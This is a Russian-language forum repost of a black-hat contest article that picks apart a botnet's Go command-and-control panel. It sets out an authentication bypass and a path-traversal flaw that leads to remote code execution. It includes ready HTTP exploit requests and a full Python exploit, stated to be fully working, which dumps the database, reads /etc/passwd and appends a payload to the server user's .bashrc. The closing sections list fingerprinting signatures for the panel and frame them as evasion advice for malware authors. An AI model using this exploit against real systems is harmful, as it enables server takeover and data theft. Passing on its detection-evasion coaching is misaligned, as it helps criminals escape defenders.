• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

0day RCE в админке ботнета от X-Shar и Jeffs. Делаем обряд препарации.


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Это исследование нашего бота:Малварь как искусство - XssBot.Модульный резидентный бот с супер-админкой.

Конкурсная статья:

Решил сделать перепост, т.к. статья очень полезная, что-бы никто больше не совершал таких ошибок, также рекомендую зайти по ссылке и почитать комментарии там, очень полезно...)

Автор:Rubicon

Структура статьи по главам
(для быстрой навигации через CTRL+F)
  • Краткое содержание статьи
  • Об авторе и мотивации
  • Подготовка рабочего окружения для обряда препарации
  • Поиск уязвимостей блекбоксом
  • Поиск уязвимостей вайтбоксом и анализ исходников архитектуры C&C
  • Уязвимость #1 (Обход авторизации)
  • Уязвимость #2 (Path Traversal приводящая к RCE и полному захвату сервера)
  • Готовый эксплоит для RCE
  • Архитектурные недостатки или сигнатурный детект самого C&C
  • Детект шифрованного трафика коммуникации между трояном и C&C
  • Подытожим
-------------------------------------------------------------------------------------------------------------------------------

Краткое содержание статьи

В этой статье я напишу как я изучал исходники и искал 0day в блековском проекте из соседних конкурсных статей которые написали X-Shar на пару с Jeffs (линки на их статьи " " и " ") как я нашёл 0day RCE и некоторые другие секьюрити факапы, в совокупности они настолько странные что это похоже даже на бэкдор. Так-же я написал полноценный эксплойт для RCE под админ панель ботнета (далее просто - C&C). В том числе рассмотрю критические секьюрити недостатки в архитектуре данного С&C, продемонстрирую вектора которые могут использовать Security компании предиктивно детектируя IP/домены на которых стоят C&C сервера этого ботнета как только он будет раскатан на каком либо сервере в сети ещё до самой атаки, эту ошибку в проектировании C&C допускают почти все вирмейкеры что я встречал. Так-же я покажу как иб компании будут детектировать сигнатурно зашифрованный трафик передающийся между трояном и C&C. В целом я думаю что эта статья будет полезна любому блеку чтобы на его шею коленом не сел какой нибудь белый демон. Как нынче говорится - black lives matter.

P.s. - если что я не читал статью о админке самих авторов, т.к. их статья по C&C в объёме в 50 экранов скрола, мне быстрее было прочитать и проанализировать исходники, это я к тому, что я мог где-то не правильно понять логику приложения анализируя исходники которую они могли объяснять в своей статье, потому что не хочется глубоко погружался в их исходники после быстрого нахождения RCE, обхода авторизации и некоторых других секьюрити факапов и в целом плохой архитектуры C&C сервера в контексте блековских реалий. Самим же авторам ботнета могу сказать только одно - не воспринимайте эту статью на личный счёт, воспринимайте её как полезный опыт.

Об авторе и мотивации

Я опытный чисто блечерский веб-разраб и веб-хакер, есть огромный опыт вайтбоксинга веб исходников написанных на PHP, Java, C#, JS (Node), Python и в меньшей степени Golang с Ruby. Почти всю свою практику зарабатываю на поиске и продаже 0day уязвимостей в популярном и не очень веберском ПО и изредка разрабатываю C&C сервера. Сейчас из-за хотения попробовать что-то новое я планировал выйти на рынок предоставления услуг взлома на заказ, как сайтов так и возможно почт/соц сетей/мессенджеров, но после анализа топиков конкурентов ломающих сайты, которых называют скрипткиддисами могущие только в автоматизированный пентест, а те кто ломает соц сети брезгливо называют школьниками использующие СИ. Я прекрасно понимаю что выйдя на этот рынок без публичной репутации в блеке - это поравняться с моими конкурентами и ничем не отличаться от них в глазах мемберов. Из-за этого я и решил написать несколько полезных статей для сообщества которые бы показали мой профессионализм и одновременно были бы очень полезны как обычным мемберам так и начинающим блечерским кодерам независимо от уровня знаний и направления, так как везде есть C&C.

Подготовка рабочего окружения для обряда препарации

Для начала я расскатил тестовую лабу на изолированном для таких задач железе, заранее пустив весь трафик с тестового железа через тор (мало ли там диванон в клубке из зависимостей притаился)
• Установил Debian (Linux pc 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux)
• Установил Golang (version go1.14.4 linux/amd64)
• Установил Burp Suite (для ручного пентеста блекбоксом и сетевой отладки)
• Скачал репозиторий блек проекта “git clone (Repository: , Branch: master, Сommit: 38c2e8ee3bfa054dbf82cf4eb6e4356e856280e4)
• Скомпилировал проект “go get -v”.
• Сразу заценил количество зависимостей которые подкачиваются в проект во время компиляции со сторонних серверов, вот их полный список.

Код:
github.com/jmoiron/sqlx (download)
github.com/mattn/go-sqlite3 (download)
get "gopkg.in/goyy/goyy.v0/util/crypto/rc4": found meta tag get.metaImport{Prefix:"gopkg.in/goyy/goyy.v0", VCS:"git", RepoRoot:"https://gopkg.in/goyy/goyy.v0"} at //gopkg.in/goyy/goyy.v0/util/crypto/rc4?go-get=1
get "gopkg.in/goyy/goyy.v0/util/crypto/rc4": verifying non-authoritative meta tag
gopkg.in/goyy/goyy.v0 (download)
github.com/gin-gonic/gin (download)
github.com/gin-contrib/sse (download)
github.com/go-playground/validator (download)
github.com/go-playground/universal-translator (download)
github.com/go-playground/locales (download)
github.com/leodido/go-urn (download)
github.com/golang/protobuf (download)
get "google.golang.org/protobuf/encoding/prototext": found meta tag get.metaImport{Prefix:"google.golang.org/protobuf", VCS:"git", RepoRoot:"https://go.googlesource.com/protobuf"} at //google.golang.org/protobuf/encoding/prototext?go-get=1
get "google.golang.org/protobuf/encoding/prototext": verifying non-authoritative meta tag
google.golang.org/protobuf (download)
get "google.golang.org/protobuf/encoding/protowire": found meta tag get.metaImport{Prefix:"google.golang.org/protobuf", VCS:"git", RepoRoot:"https://go.googlesource.com/protobuf"} at //google.golang.org/protobuf/encoding/protowire?go-get=1
get "google.golang.org/protobuf/encoding/protowire": verifying non-authoritative meta tag
get "google.golang.org/protobuf/reflect/protoreflect": found meta tag get.metaImport{Prefix:"google.golang.org/protobuf", VCS:"git", RepoRoot:"https://go.googlesource.com/protobuf"} at //google.golang.org/protobuf/reflect/protoreflect?go-get=1
get "google.golang.org/protobuf/reflect/protoreflect": verifying non-authoritative meta tag
get "google.golang.org/protobuf/reflect/protoregistry": found meta tag get.metaImport{Prefix:"google.golang.org/protobuf", VCS:"git", RepoRoot:"https://go.googlesource.com/protobuf"} at //google.golang.org/protobuf/reflect/protoregistry?go-get=1
get "google.golang.org/protobuf/reflect/protoregistry": verifying non-authoritative meta tag
get "google.golang.org/protobuf/proto": found meta tag get.metaImport{Prefix:"google.golang.org/protobuf", VCS:"git", RepoRoot:"https://go.googlesource.com/protobuf"} at //google.golang.org/protobuf/proto?go-get=1
get "google.golang.org/protobuf/proto": verifying non-authoritative meta tag
get "google.golang.org/protobuf/runtime/protoiface": found meta tag get.metaImport{Prefix:"google.golang.org/protobuf", VCS:"git", RepoRoot:"https://go.googlesource.com/protobuf"} at //google.golang.org/protobuf/runtime/protoiface?go-get=1
get "google.golang.org/protobuf/runtime/protoiface": verifying non-authoritative meta tag
get "google.golang.org/protobuf/runtime/protoimpl": found meta tag get.metaImport{Prefix:"google.golang.org/protobuf", VCS:"git", RepoRoot:"https://go.googlesource.com/protobuf"} at //google.golang.org/protobuf/runtime/protoimpl?go-get=1
get "google.golang.org/protobuf/runtime/protoimpl": verifying non-authoritative meta tag
github.com/ugorji/go (download)
get "gopkg.in/yaml.v2": found meta tag get.metaImport{Prefix:"gopkg.in/yaml.v2", VCS:"git", RepoRoot:"https://gopkg.in/yaml.v2"} at //gopkg.in/yaml.v2?go-get=1
gopkg.in/yaml.v2 (download)
github.com/mattn/go-isatty (download)
get "golang.org/x/sys/unix": found meta tag get.metaImport{Prefix:"golang.org/x/sys", VCS:"git", RepoRoot:"https://go.googlesource.com/sys"} at //golang.org/x/sys/unix?go-get=1
get "golang.org/x/sys/unix": verifying non-authoritative meta tag
golang.org/x/sys (download)
get "golang.org/x/crypto/bcrypt": found meta tag get.metaImport{Prefix:"golang.org/x/crypto", VCS:"git", RepoRoot:"https://go.googlesource.com/crypto"} at //golang.org/x/crypto/bcrypt?go-get=1
get "golang.org/x/crypto/bcrypt": verifying non-authoritative meta tag
golang.org/x/crypto (download)
github.com/ip2location/ip2location-go (download)

Первый серьёзный недостаток что я заметил - это куча левых зависимостей которые подкачиваются в проект при компиляции с третьих серверов и гитхаб страниц. В большинстве вайт проектах не сильно требовательных к безопасности использовать сторонние разработки - это вполне нормальная практика ведомая крылатым выражением “не придумывай свой велосипед” и в этом есть бесспорная логика, но в блек проектах ориентированных не только на максимальную безопасность, но и анонимность - это однозначно плохая практика. Потому что любой кто сможет получить доступ к любому проекту из этих многочисленных зависимостей - сможет в любой момент добавить туда бэкдор и таким образом при компиляции C&C сервера, он скомпилируется с бэкдором который удалённо сам подтянется с левого ресурса.

Очень важно при программировании именно в блеке - не использовать сторонние библиотеки и фреймворки, особенно которые подкачиваются в проект с сторонних серверов. Если использование сторонней зависимости избежать нельзя или неоправданно затруднено - то как минимум нужно стремиться к минимизации количества этих зависимостей или заходить на гит нужного проекта и вручную взять от туда только нужный код, проанализировать его на отсутствие уязвимостей и заинклудить в проект, а не подтягивать удалённо с третьего сервера. Это лишь один из примеров показывающий разницу подхода кодинга в вайте и в блеке, там где в вайте использовать какую-то практику в программировании/проектировании будет нормально, в блеке - это будет критическим недостатком. Более подробно вопросы программирования и проектирование C&C серверов в контексте блековских задач и рисков я возможно опишу в отдельной статье которая будет освещать именно эти архитектурные вопросы.

Поиск уязвимости блекбоксом

В самом начале я не смотрел исходный код на гите, решил сразу всё скачать и установить в изолированной среде, скомпилить и начать тестить блекбоксом. Начинать именно с блекбокса гораздо эффективнее так как блекбоксом можно быстро найти нужные уязвимости не погружаясь в чтение исходников и изучения архитектуры приложения, что существенно экономит время. Я прошёлся по всем векторам XSS, CSRF и SQL инъекциям, так-же проверил CSTI , так как заметил использование Vue. Проверил все эти вектора за 15 минут, так как общая поверхность атаки не велика. Методом блекбокса, уязвимостей найдено не было, хотя я сразу заметил некоторые секьюрити факапы в контексте блек кодинга, но о них подробнее позже. Решил перейти на вайтбокс исследование сурсов.

Поиск уязвимостей вайтбоксом и анализ исходников архитектуры C&C

Сразу проверил сколько строк кода на Go написал автор C&C (без кода самих зависимостей). Это сделал простой командой в терминале "find -name "*.go" | xargs wc -l"
Выдача:
Код:
39 ./structures/structures.go
30 ./utils/utils.go
15 ./config/config.go
29 ./db/db.go
73 ./main.go
192 ./handlers/tasks/tasks.go
156 ./handlers/users/users.go
154 ./handlers/modules/modules.go
142 ./handlers/login/login.go
39 ./handlers/bots/bots.go
113 ./handlers/gate/ping/ping.go
83 ./handlers/gate/obf/obf.go
75 ./handlers/gate/reg/reg.go
31 ./handlers/gate/gate.go
66 ./handlers/gate/complete/complete.go
1237 total
То есть в общей сложности автор написал 1237 строчек кода на Go, что для C&C на самом деле очень не много. Но это не значит что весь проект состоит из такого количества строк кода так как автор использует множество различных сторонних библиотек, сколько они ещё добавляют строк кода в проект можно только гадать, я бы конечно дошёл и до поиска уязвимостей в этих зависимостях так как они увеличивают поверхность атаки, если бы конечно не нашёл уязвимости в тех 1237 строчек кода что написал сам автор.

Начал читать исходники. Для начала я разложу полную структуру исходников из репозитория их ботнета ( ). Начнём с корня, директории будут написаны в верхнем регистре, а файлы в нижнем для наглядности. Так-же справа от .go файлов в круглых скобках указано кол-во строк кода написанным автором. Красным выделены файлы в которых мною были найдены уязвимости.

Код:
XSSBOT # Здесь лежит сам бинарный троян, он мне не интересен в его исходники я не заглядывал.
ADMIN # Директория в которой лежит всё что связано с C&C.
    BUILD # Здесь лежит уже скомпиленный бинарь C&C под винду и всякие ресурсы к нему (фронта/бд), ничего интересного т.к. вайтбоксить тут нечего.
    FRONTEND # В этой директории хранятся исходники фронтенд части самого C&C (HTML, CSS, JS, VUE), тоже ничего интересного, разве что можно было посмотреть исходники JS на DOM XSS вектора, но я всегда предпочитаю начинать с поиска сервер-сайд уязвимостей, так что в эту директорию я особо не заглядывал, только глянул какие файлы там лежат.
    BACKEND # Вот это и есть та кроличья нора куда мне прописан путь, здесь хранятся все бекенд исходники C&C написанные на Golang
        CONFIG #
            config.go (15) # скрипт который только получает домен с тектового файла /backend/domain
        DB
            db.go # здесь всего одна функция подключения к СУБД SQLIte по пути ./dump/xss_bot.db (именно здесь хранится файл базы данных)
        DUMP
            xss_bot.db # Файл бд
        HANDLERS
            USERS
                users.go (156) # тут функции обновления, создания, удаления и получения информации о пользователях админ панели [тут уязвимость приводящая к обходу авторизации]
            TASKS
                tasks.go (192) # функции создания, запуска, удаления и редактирования задач, а так же информации о них
            MODULES
                modules.go (154) # функции загрузки, удаления и получения информации для модулей [тут присутствует уязвимость Path Traversal, которая в итоге приводит к RCE]
            BOTS
                bots.go (39) # функционал получения информации о ботах для админа
            LOGIN
                login.go (142) # функционал авторизации и получения информации о текущем пользователе
            GATE
                COMPLETE
                    complete.go (66) # функционал необходимый для оповещения, что бот завершил задачу
                OBF
                    obf.go (83) # функционал шифрования RC4
                PING
                    ping.go (113) # функционал “пинга”, необходим для отдачи задач и обновления статуса “жизни” бота
                REG
                    reg.go (75) # функционал первичной регистрации бота
                gate.go (31) # обработчик запросов на роут гейта
        MODULES
            testpayload.exe
            modulerunexeshellexecute.dll
        STRUCTURES
           structures.go (39) # тут задаются структуры данных для базы
        UTILS
            utils.go (30) # тут всего две функции не имеющих для нас особой ценности
        build.bat # батник для билдинга С&C под винду
        domain # судя по всему отсюда берётся домен и добавляется в заголовок Set-Cookie [чё?]
        main.go (73) # указаны политики cors и размечены роуты

Итак, в итоге ещё за 15 минут изучения кода на уровне сурсов я нашёл 2 уязвимости

1593153843019.png


Ща покажу в чём фишка :)

Уязвимость #1 (Обход авторизации)

Мы можем обойти авторизацию использую какую либо созданную учетную запись, если под неё ещё не заходили из за того что при создании пользователя не генерируется токен и он равняется 0.
Вот уязвимый кусок кода, он находится в файле по пути "admin/backend/handlers/users/users.go" на 124 строке.

C:
// записываем в таблицу с юзерами
_, err = db.Exec("INSERT INTO `users` (`Username`, `PasswordHash`, `Token`) VALUES(?, ?, ?)", userForm.Form.Username, string(hash), 0)
if err != nil {
    log.Println("users.CreateUser:", err)
}
Для эксплуатации мы просто берём 0 и хешируем его bcrypt-ом при помощи Python.
Код:
>>> import bcrypt
>>> bcrypt.hashpw(b'0', bcrypt.gensalt())
b'$2b$12$epI8aTs3z7yrhMiuyiX6OeFCfvgrGplQsADHv/WlA1g.D6XMw/55K'

Всё, теперь мы можем использовать "$2b$12$epI8aTs3z7yrhMiuyiX6OeFCfvgrGplQsADHv/WlA1g.D6XMw/55K", как авторизационную строку, а именно кладем её в POST параметр “cookie” и мы сможем выполнять методы, которым нужна авторизация в админ панели.

Описание уязвимости

Когда админ C&C создаёт другого пользователя в административной панели админки то происходит следующее:

С помощью уязвимого куска кода который я показал выше, создаётся новый пользователь, с определённым username, passwordHash и Token'ом, токен в данном случае играет роль сессии. Из-за этой уязвимой строки, токен созданного пользователя всегда равняется нулю, до тех пор пока созданный пользователь не авторизуется в админке. При авторизации пользователя в админке, этот токен который равняется нулю перезаписывается на рандомную 32ух символьную строку, за это отвечает функция SetToken которая находится в файле “admin/backend/handlers/login/login.go”.

C:
/*
    Генерация и запись токена в бд
*/
func SetToken(user string) string {
    token := obf.GenRandStr(32)
    _, err := db.Exec("UPDATE `users` SET `Token` = ? WHERE `Username` = ?", token, user)
    if err != nil {
        log.Println("login.SetToken:", err)
    }
    return token
}

Суть уязвимости в том что мы можем авторизоваться отправив специальный запрос с токеном который равняется нулю, до того как новый созданный пользователь авторизовался в первый раз и у него создался нормальный 32ух символьный токен, который мы уже не знаем.

Эксплуатация уязвимости

1- Действующий пользователь админки создаёт другого нового пользователя
2- Мы до того как новый пользователь авторизовался в админке просто отправляем специальный запрос где передаём токен который равняется нулю похешированный bcrypt-ом.

Сам запрос
Код:
POST /getCurrentUser/ HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 73
Connection: close
{"cookie":"$2b$12$epI8aTs3z7yrhMiuyiX6OeFCfvgrGplQsADHv/WlA1g.D6XMw/55K"}

Как видно выше мы передаём токен в параметре cookie со значением 0 который захеширован bcrypt-ом.

И наша нулевая сессия будет рабочей до тех пор пока пользователь который знает логин и пароль от этой сессии не авторизуется в первый раз в админке, за это время мы можем авторизоваться в админке используя нулевую сессию и сами создать нового пользователя и заходить в админку в будущем уже от имени нашего созданного пользователя.

На первый взгляд кажется что серъёзного профита от этой уязвимости не добиться так как нужны специальные условия потому что у нас есть ограниченное окно времени в течении которого мы должны авторизоваться под нулевой сессией в момент создания нового аккаунта юзера админки пока пользователь который знает от неё логин и пароль не авторизуется в первый раз после создания своей учётки, после чего его нулевой токен перезатерётся секретным 32 символьным токеном и дыра закрывается, до тех пор пока опять не будет создан новый пользователь.

Но используя некоторые другие недостатки в самой архитектуре C&C можно сделать так что мы всегда заранее будем знать все IP/домены на которых размещен этот C&C и сможем автоматизированно по таймингу отправлять этот эксплойт на обход авторизации сразу всем C&C которые есть в сети, рано или поздно на большинстве С&C будет создан новый пользователь и в этот момент наш автоматизированный скрипт проэксплуатирует эту уязвимость до того как сам новый пользователь авторизуется в своей сессии с практически 100% вероятностью. Подробнее как такое возможно провернуть (знать заранее все IP и домены на которых размещен этот C&C) я опишу ниже. Сейчас же перейдём к второй уже более критической уязвимости, а именно RCE.

Уязвимость #2 (Path Traversal приводящая к RCE и соответственно захвату сервера)

Как только в файле "handlers/modules/modules.go" я наткнулся на эту констукцию, сразу стало понятно что тут затаились потанциальные Path Traversal. Тут 3 однотипные уязвимости каждую из которых можно эксплуатировать под разные задачи, объединив которые можно добиться RCE.
Код:
handlers/modules/modules.go:82:    out, err := os.Create("./modules/" + header.Filename)
handlers/modules/modules.go:118:    path := "./modules/" + delForm.ModuleName
handlers/modules/modules.go:144:    moduleData, err := ioutil.ReadFile("./modules/" + moduleName)

Эти три уязвимых метода позволяют:

Первый - позволяет создавать любые файлы с сервера к которым есть права у самого бинаря C&C.

Второй - позволяет удалять любые файлы с сервера к которым есть права у самого бинаря C&C
Но для выполнения этих методов необходима авторизационная сессия в самой админке, из-за этого из вне это не эксплуатировать, если конечно заранее не эксплуатировать обход авторизации и получить действующую сессию одного из пользователей админки.

Третий - позволяет читать любые файлы с сервера к которому есть права у самого бинаря C&C, вот этот метод можно вызвать из вне без авторизации вовсе.

Теперь картина эксплуатации складывается таким образом

Шаг 1

Эксплуатируем третий уязвимый метод и читаем файл базы на сервере в котором хранятся юзеры админ панели и вытягиваем от туда авторизационный токен любого юзера.
Готовый HTTP запрос для эксплуатации выглядит так
Код:
POST /getModule/ HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

data=00000000000000000000000000000000plGJ5LYWpAhMjJErkwkqlONkUA==
Пейлоад находится в POST параметре data. Первые 32 символа - это ключ шифрования в открытом виде от RC4 которым зашифрован сам пейлоад состоящий из строки “../dump/xss_bot.db|” и сверху он закодирован base64. Кстати из-за этого эту уязвимость практически невозможно найти блекбоксом. После того как мы получили базу, мы вытаскиваем из неё токен любого из юзеров админки, он нам необходим чтобы эксплуатировать первые два метода.

Шаг 2

Так как теперь у нас есть авторизационный токен (сессия) одного из админов, мы можем выполнять оба других уязвимых метода и теперь мы можем не только читать файлы с сервера, но удалять и записывать. И таким образом с помощью Path Traversal мы фактически получаем RCE.
Код:
[SIZE=4]POST /uploadModule/ HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------14404276141188142975314079720
Content-Length: 418
Connection: close
Cookie: user=%242a%2404%24rNpCpVcis75iALwBoLe14.ta2V3LYBG5jyrg0N%2FkNjoVlr1v%2F2yEu

-----------------------------14404276141188142975314079720
Content-Disposition: form-data; name="cookie"

$2a$04$rNpCpVcis75iALwBoLe14.ta2V3LYBG5jyrg0N/kNjoVlr1v/2yEu
-----------------------------14404276141188142975314079720
Content-Disposition: form-data; name="file"; filename="../test.dll"
Content-Type: application/x-msdos-program

test.dll

-----------------------------14404276141188142975314079720--
Пример запроса для эксплуатации удаления файлов в системе (тоже нужно подставить валидную сессию)
Код:
[SIZE=4]POST /delModule/ HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 104
Connection: close
Cookie: user=%242a%2404%24rNpCpVcis75iALwBoLe14.ta2V3LYBG5jyrg0N%2FkNjoVlr1v%2F2yEu

{"cookie":"$2a$04$rNpCpVcis75iALwBoLe14.ta2V3LYBG5jyrg0N/kNjoVlr1v/2yEu","module_name":"../asdtest.dll"}

Готовый эксплоит для RCE на Python.

Решено было сразу написать автоматизированный эксплоит для найденой RCE как готовый POC.
Пример запроса для эксплуатации записи файлов в систему (нужно подставить валидную сессию)
Python:
#!/usr/bin/python3
import requests
import base64
import sys
import sqlite3
try:
    import bcrypt
except ModuleNotFoundError:
    print('Please install python3-pip package and run "python3 -m pip install bcrypt"')
    sys.exit()
from pprint import pprint
autorun_payload = 'echo Hacked'

# Реализация алгоритма шифрования RC4
def PRGA(S):
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S) % 256
        S, S[j] = S[j], S
        yield S[(S + S[j]) % 256]

def rc4(plaintext, decode=False):
    key = b'0'*32
    if isinstance(plaintext, str):
       plaintext = plaintext.encode()
    if decode:
       key = plaintext[:32]
       plaintext = base64.b64decode(plaintext[32:])
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S + key[i % len(key)]) % 256
        S, S[j] = S[j], S
    keystream = PRGA(S)
    encoded = bytearray(c ^ next(keystream) for c in plaintext)
    if decode:
       return encoded
    else:
       return key.decode() + base64.b64encode(encoded).decode()

# Функционал скачивания файла через уязвимый метод getModule который находится в исходниках по пути ./handlers/modules/modules.go где собственно и находится уязвимость Path traversal

def download_file(file_path):
    payload = rc4(file_path + '|')
    resp = requests.post(panel_url + '/getModule/', data={ 'data': payload })
    if len(resp.text) == 0:
       return False, b''
    return True, rc4(resp.text, True)

panel_url = sys.argv[-1].rstrip('/')
print('Panel URL:', panel_url)
print('Start Downloading DataBase')

# Скачиваем БД с C&C эксплуатируя Path Traversal
status, database = download_file('../dump/xss_bot.db')
if status:
    with open('dumped.db', 'wb') as f:
        print('DataBase downloaded')
        f.write(database)
else:
    print('Error!')
    sys.exit()

# Подключаемся к БД
conn = sqlite3.connect('dumped.db')
print('Connected to dumped db')
c = conn.cursor()

# Вытаскиваем юзеров
c.execute('SELECT * FROM USERS')
columns = next(zip(*c.description))
users = [dict(zip(columns, user)) for user in c.fetchall()]
username = users[0]['Username']

# Генерирование токена авторизации для админки
token = bcrypt.hashpw(users[0]['Token'].encode(), bcrypt.gensalt()).decode()
print('Will be use "{}" user with "{}" token'.format(username, token))
print('Try to get UID')

# Получаем UID пользователя Linux
status_uid, uidraw = download_file('../' * 32 + 'proc/self/status')
if not status_uid:
     print('Error!')
     sys.exit(0)
uidraw = uidraw.decode()
uid = None
for stat in uidraw.split('\n'):
    stat = stat.split()
    print(stat)
    if len(stat) < 2:
       continue
    if stat[0] == 'Uid:':
       uid = stat[1]
       break
if uid is None:
    print('Error!')
    sys.exit()

print('User UID:', uid)
print('Start getting /etc/passwd')

# Вытаскиваем /etc/passwd
status_passwd, passwd = download_file('../' * 32 + 'etc/passwd')
if not status_passwd:
    print('Error!')
    sys.exit(0)
passwd = passwd.decode()

print('/etc/passwd file content:')
print(passwd)

# Ищем в /etc/passwd юзера с UID который мы достали на предыдущих этапах
for user_data in passwd.split('\n'):
    user_data = user_data.split(':')
    if len(user_data) < 6:
       continue
    username = user_data[0]
    user_uid = user_data[2]
    group = user_data[3]

    # Получаем домашнюю папку, в которой должен лежать скрипт
    home_folder = user_data[5]

    # print(username, uid, group, home_folder)
    if uid == user_uid:
       break

print('Try to get old shell autorun')

# Пытаемся вытащить скрипт который может выполниться при входе в сессию, по задумке это: .bashrc или .profile
autorun_path = '../' * 32 + home_folder.strip('/') + '/.bashrc'
status_profile, profile = download_file(autorun_path)
if not status_profile:
     print('Error!')
     sys.exit(0)
profile = profile.decode()

print(profile)

# Перезаписываем скрипт, который выполняется при входе пользователя на выкаченный с дописанным нашим пейлоудом
print('Try to add payload into shell autorun')
resp = requests.post(
     panel_url + '/uploadModule/',
     files={'file': (autorun_path, (profile + '\n' + autorun_payload + '\n').encode())},
     data={'cookie': token}
)
print('Done')
Эксплоит создан чисто для примера, он полностью рабочий.
P.s. - cтоит отметить что обе уязвимости, как Path Traversal так и обход авторизации практически невозможно найти блекбоксом, из-за непредсказуемого способа эксплуатации уязвимостей.


Архитектурные недостатки или сигнатурный детект самого C&C

У различных security компаний есть такая услуга для корпоративных клиентов под названием Threat Intelligence, очень важдый элемент этой технологии состоит в том что ИБ компании сканируют все IP и домены на появления на них C&C, как они это узнают? Просто изучают всякие ботнеты которые так или иначе попали к ним на иследование, как к примеру это сделал я здесь и находят нужные сигнатуры в протоколе коммуникация трояна с C&C.

Далее находят сигнатурные уязвимости в самом C&C, когда они могут отправить специальный запрос на сервер и тот как-то уникально сигнатурно ответит, если одного запроса не хватает чтобы на 100% определить что там стоит определённый C&C, они могут отправить другой уникальный запрос на который тоже будет какой-то уникальный ответ и объединив эти сигнатуры они полностью могут отсеять любые фелсы (ложные срабатывания), аналогичные действия делают хакеры когда сканируют список доменов на наличия там определённых CMS или технологий которые они хотят эксплуатировать. Таким образом иб компании предективно могут узнавать на каком IP/домене развёрнут тот или иной C&C, ещё до самой атаки.

Далее они просто предоставляют эту информацию в реалтайме компаниям которые покупают на это подписку и те добавляют эти IP/домены как вредоносные в свои защитные системы. Так-же эти иб компании могут разделять списки IP на которых размещены ботнеты на разные категории, к примеру если на одном IP размещён ботнет заточенный на массовые атаки, то они добавляют эти IP в свои массовые АВ решения, из-за этого домены и IP могут детектиться в антивирусах в течении суток даже если вы ещё не начали саму атаку. А те IP на которых размещены APT C&C они могут предоставлять только компаниям, из-за чего сами APT даже никак не могут узнать что их детектят, т.к. тут уже будет явно мало поднять кучу АВ на виртуалках и чекнуть детект троя. Обычно чуть ли не каждый первый блек вирусмейкер которому я это говорил удивлялся что детектировать могут не только троян, но и сам C&C.

И так приведём тут варианты таких детектов в контексте этого ботнета:

Если отправить запрос вида на один из уникальный URI которые обрабатывает C&C.
"evil.com/get/reg/" или “evil.com/getModule/” или “evil.com/get/ping/” то ответ всегда одинаковый, состоит из фиксированного кол-ва заголовков которые всегда имеют одинаковые значения. Так-же само тело ответа всегда будет состоять из 40 символов из диапозона символов алгоритма кодирования Base64.

Всё это по отдельности не является уникальной сигнатурой, но вместе да. Из-за этого C&C уже можно детектировать в 100% случаев без ложных срабатываний. Примеры запросов и ответов для сигнатуры ниже.

Запрос #1 имеет уникальные черты:
- URI - /get/ping/
- HTTP запрос типа POST
- В теле сообщения есть параметр с статичным именем “data”
- Значение параметра дата всегда должно быть 33 и более символа входящие в кодировку base64

Код:
POST /get/ping/ HTTP/1.1
Host: example.com
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

data=000000000000000000000000000000000
Запрос #2 имеет уникальные черты
- URI - /getModule/
- HTTP запрос типа POST
- В теле сообщения есть параметр с статичным именем “data”
- Значение параметра дата всегда должно быть 33 и более символа входящие в кодировку base64


Код:
POST /getModule/ HTTP/1.1
Host: example.com
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

data=000000000000000000000000000000000

Запрос #3 имеет уникальные черты
- URI - /get/reg/
- HTTP запрос типа POST
- В теле сообщения есть параметр с статичным именем “data”
- Значение параметра дата всегда должно быть 33 и более символа входящие в кодировку base64

Код:
POST /get/reg/ HTTP/1.1
Host: example.com
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

data=000000000000000000000000000000000

Ответ на эти 3 разных запроса всегда будет один и имеет следующие уникальные черты
- Код ответа 200
- Кол-во заголовков ответа всегда статично и равняется 5
- Последовательность заголовков ответа всегда статична
- Заголовок Content-Length всегда имеет значение 40
- И соответственно тело сообщения всегда состоит из 40 символов входящие в кодировку base64


Код:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: text/plain; charset=utf-8
Date: “дата и время ответа”
Content-Length: 40
Connection: close

dIFKroTlFjcNFIrkDNfigJcnDddFjrUcdTddDcou==

Вывод: этого уже более чем достаточно чтобы просканить всю сеть и найти все IP/домены на котором размещен C&C этого ботнета.

Для примера ещё другая сигнатура:
Если мы отправим запрос на URI "/getModule/" c параметр date и пустым значением то веб-сервер просто закроет TCP соединение и не отправит в ответ вообще ничего. Это тоже является дополнительной сигнатурой.

Запрос

Код:
POST /getModule/ HTTP/1.1
Host: example.com
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

data=

Ответ:

1593154374445.png


Так-же если мы отправим GET запрос на URL "/getModule/", то получим пустой ответ с 404 кодом. Он отличается от других соответственно нулевым Content-Length и отсуствием заголовка Content-type. И это тоже является сигнатурой.

Запрос:
Код:
GET /getModule/ HTTP/1.1
Host: example.com
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Ответ:
Код:
HTTP/1.1 404 Not Found
Access-Control-Allow-Origin: *
Date: “дата и время ответа”
Content-Length: 0
Connection: close

В итоге если взять любой из этих детектов и начать сканить все IP или новые регистрируемые домены (что спокойно и делают АВ компании), то они без труда смогут находить все C&C сервера этого ботнета во всём интернете, всё что им нужно будет - это просто изучить ботнет как сделал я, при этом им даже не обязательно иметь исходники ботнета, а достаточно просто изучить сетевые запросы и найти в них сигнатуры. Такие решения есть к примеру у Касперского ( ) и Group-ib ( ), можете изучить это всё уже сами подробно. В следующей статье где я буду рассказывать об архитектуре C&C я обязательно покажу лучшие практики как от всего этого можно эффективно защищаться.

